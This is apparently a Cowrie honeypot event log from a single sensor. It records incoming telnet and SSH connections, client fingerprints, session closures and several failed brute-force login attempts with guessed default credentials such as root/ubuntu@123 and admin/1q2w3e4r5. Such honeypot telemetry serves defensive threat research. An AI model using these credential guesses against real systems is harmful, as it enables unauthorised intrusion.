{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":45506,"dst_ip":"159.203.135.109","dst_port":23,"session":"835b1929e083","protocol":"telnet","message":"New connection: 38.60.198.128:45506 (159.203.135.109:23) [session: 835b1929e083]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:27.661067Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":47490,"dst_ip":"10.17.0.5","dst_port":23,"session":"5854d6a52c24","protocol":"telnet","message":"New connection: 38.54.119.93:47490 (10.17.0.5:23) [session: 5854d6a52c24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:27.958033Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":55856,"dst_ip":"10.17.0.5","dst_port":23,"session":"99f63d5964ba","protocol":"telnet","message":"New connection: 45.81.23.16:55856 (10.17.0.5:23) [session: 99f63d5964ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:28.755229Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.68.208.117","src_port":38782,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa789273b283","protocol":"ssh","message":"New connection: 115.68.208.117:38782 (10.17.0.5:22) [session: aa789273b283]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:30.444615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:30.449914Z","src_ip":"115.68.208.117","session":"aa789273b283","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:30.665530Z","src_ip":"115.68.208.117","session":"aa789273b283","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.95717430114746,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:30.913488Z","src_ip":"38.60.198.128","session":"6d8642ee5d78","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":50494,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd5107da5413","protocol":"telnet","message":"New connection: 38.60.198.128:50494 (159.203.135.109:23) [session: cd5107da5413]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:31.404243Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu@123","message":"login attempt [root/ubuntu@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:31.551851Z","src_ip":"115.68.208.117","session":"aa789273b283","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":51848,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff6af0b59d60","protocol":"telnet","message":"New connection: 38.60.198.128:51848 (159.203.135.109:23) [session: ff6af0b59d60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:32.229560Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:32.764955Z","src_ip":"115.68.208.117","session":"aa789273b283","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.456343173980713,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:35.414272Z","src_ip":"38.54.119.93","session":"5854d6a52c24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":57184,"dst_ip":"159.203.135.109","dst_port":23,"session":"9490c7956b4f","protocol":"telnet","message":"New connection: 38.60.198.128:57184 (159.203.135.109:23) [session: 9490c7956b4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:37.744209Z"}
{"eventid":"cowrie.session.closed","duration":50.49819231033325,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:39.664488Z","src_ip":"38.60.198.128","session":"704ff051048a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":36894,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa5402c8b1ec","protocol":"telnet","message":"New connection: 38.60.198.128:36894 (159.203.135.109:23) [session: aa5402c8b1ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:43.419973Z"}
{"eventid":"cowrie.session.closed","duration":44.22087502479553,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:44.414064Z","src_ip":"38.60.198.128","session":"eabb40c4cff2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":48182,"dst_ip":"159.203.135.109","dst_port":23,"session":"559cd1a249f1","protocol":"telnet","message":"New connection: 38.60.198.128:48182 (159.203.135.109:23) [session: 559cd1a249f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:45.118650Z"}
{"eventid":"cowrie.session.closed","duration":44.62846875190735,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:48.404076Z","src_ip":"38.60.198.128","session":"58495dbb2ddf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.65139293670654,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:48.549986Z","src_ip":"38.60.198.128","session":"fb07f6e1d8e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.823649406433105,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:48.813747Z","src_ip":"192.211.53.160","session":"69ce5ff2726b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":35656,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6c9d867f8c4","protocol":"telnet","message":"New connection: 38.60.198.128:35656 (159.203.135.109:23) [session: a6c9d867f8c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:49.460679Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":41378,"dst_ip":"159.203.135.109","dst_port":23,"session":"20219f8593b6","protocol":"telnet","message":"New connection: 38.60.198.128:41378 (159.203.135.109:23) [session: 20219f8593b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:50.424531Z"}
{"eventid":"cowrie.session.closed","duration":40.62462067604065,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:50.524887Z","src_ip":"192.211.53.160","session":"3cc796988482","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":41882,"dst_ip":"159.203.135.109","dst_port":23,"session":"df2b5c25eabe","protocol":"telnet","message":"New connection: 38.60.198.128:41882 (159.203.135.109:23) [session: df2b5c25eabe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:50.922115Z"}
{"eventid":"cowrie.session.closed","duration":2.228306531906128,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:51.688839Z","src_ip":"38.60.198.128","session":"a6c9d867f8c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.861350297927856,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:52.746464Z","src_ip":"192.211.53.160","session":"3c572a2cc8a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":5655,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2d0d60e96e1","protocol":"ssh","message":"New connection: 193.24.211.95:5655 (159.203.135.109:22) [session: c2d0d60e96e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:52.888699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:52.894045Z","src_ip":"193.24.211.95","session":"c2d0d60e96e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:53.002439Z","src_ip":"193.24.211.95","session":"c2d0d60e96e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jun","password":"jun","message":"login attempt [jun/jun] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:53.426152Z","src_ip":"193.24.211.95","session":"c2d0d60e96e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.51476812362671,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:54.453425Z","src_ip":"192.211.53.160","session":"1aa5be788be7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:54.575035Z","src_ip":"193.24.211.95","session":"c2d0d60e96e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":50476,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6a44ad6bc2a","protocol":"telnet","message":"New connection: 38.60.198.128:50476 (159.203.135.109:23) [session: e6a44ad6bc2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:55.149744Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":54768,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f0f18c4c863","protocol":"telnet","message":"New connection: 38.60.198.128:54768 (159.203.135.109:23) [session: 6f0f18c4c863]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:58.593627Z"}
{"eventid":"cowrie.session.closed","duration":47.348092794418335,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:59.101468Z","src_ip":"38.60.198.128","session":"0d8e91887085","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":40634,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ac4fbf15600","protocol":"ssh","message":"New connection: 186.113.245.157:40634 (10.17.0.5:22) [session: 4ac4fbf15600]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:40:01.086231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:40:01.091239Z","src_ip":"186.113.245.157","session":"4ac4fbf15600","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:40:01.181735Z","src_ip":"186.113.245.157","session":"4ac4fbf15600","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.164.107.4","src_port":45312,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4a60313ebb9","protocol":"telnet","message":"New connection: 194.164.107.4:45312 (159.203.135.109:23) [session: e4a60313ebb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:40:01.268845Z"}
{"eventid":"cowrie.session.closed","duration":0.012487649917602539,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:40:01.281197Z","src_ip":"194.164.107.4","session":"e4a60313ebb9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1q2w3e4r5","message":"login attempt [admin/1q2w3e4r5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:40:01.577148Z","src_ip":"186.113.245.157","session":"4ac4fbf15600","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.644447326660156,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:40:02.172407Z","src_ip":"38.60.198.128","session":"815f913984e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:40:02.673200Z","src_ip":"186.113.245.157","session":"4ac4fbf15600","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.753570556640625,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:40:08.063365Z","src_ip":"38.60.198.128","session":"52b78ef7d0af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.101.59.69","src_port":32938,"dst_ip":"159.203.135.109","dst_port":22,"session":"4bf4c20c1a63","protocol":"ssh","message":"New connection: 191.101.59.69:32938 (159.203.135.109:22) [session: 4bf4c20c1a63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:40:08.296990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:40:09.301996Z","src_ip":"191.101.59.69","session":"4bf4c20c1a63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:40:09.396868Z","src_ip":"191.101.59.69","session":"4bf4c20c1a63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"12345","message":"login attempt [git/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:40:11.306146Z","src_ip":"191.101.59.69","session":"4bf4c20c1a63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":40668,"dst_ip":"159.203.135.109","dst_port":23,"session":"746a72370a69","protocol":"telnet","message":"New connection: 38.60.198.128:40668 (159.203.135.109:23) [session: 746a72370a69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:40:11.583614Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":48506,"dst_ip":"10.17.0.5","dst_port":23,"session":"849b134d6795","protocol":"telnet","message":"New connection: 38.54.119.93:48506 (10.17.0.5:23) [session: 849b134d6795]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:40:12.825553Z"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:40:12.903540Z","src_ip":"191.101.59.69","session":"4bf4c20c1a63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.78837966918945,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:40:14.543485Z","src_ip":"45.81.23.16","session":"99f63d5964ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.52804136276245,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:40:16.188967Z","src_ip":"38.60.198.128","session":"835b1929e083","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":48812,"dst_ip":"159.203.135.109","dst_port":23,"session":"32a7d91761ee","protocol":"telnet","message":"New connection: 38.60.198.128:48812 (159.203.135.109:23) [session: 32a7d91761ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:40:17.519701Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":48892,"dst_ip":"159.203.135.109","dst_port":23,"session":"94be300bbe56","protocol":"telnet","message":"New connection: 38.60.198.128:48892 (159.203.135.109:23) [session: 94be300bbe56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:40:18.557274Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":52524,"dst_ip":"10.17.0.5","dst_port":23,"session":"386c240865a2","protocol":"telnet","message":"New connection: 38.54.119.93:52524 (10.17.0.5:23) [session: 386c240865a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:40:19.120584Z"}
{"eventid":"cowrie.session.closed","duration":35.10005331039429,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:40:20.218560Z","src_ip":"38.60.198.128","session":"559cd1a249f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.881409168243408,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:40:22.438563Z","src_ip":"38.60.198.128","session":"94be300bbe56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":54748,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc9bcbae3f05","protocol":"telnet","message":"New connection: 38.60.198.128:54748 (159.203.135.109:23) [session: cc9bcbae3f05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:40:22.605443Z"}
{"eventid":"cowrie.session.closed","duration":45.74416422843933,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:40:23.488253Z","src_ip":"38.60.198.128","session":"9490c7956b4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":57238,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b4d2bba7e8d","protocol":"telnet","message":"New connection: 38.60.198.128:57238 (159.203.135.109:23) [session: 4b4d2bba7e8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:40:24.608933Z"}
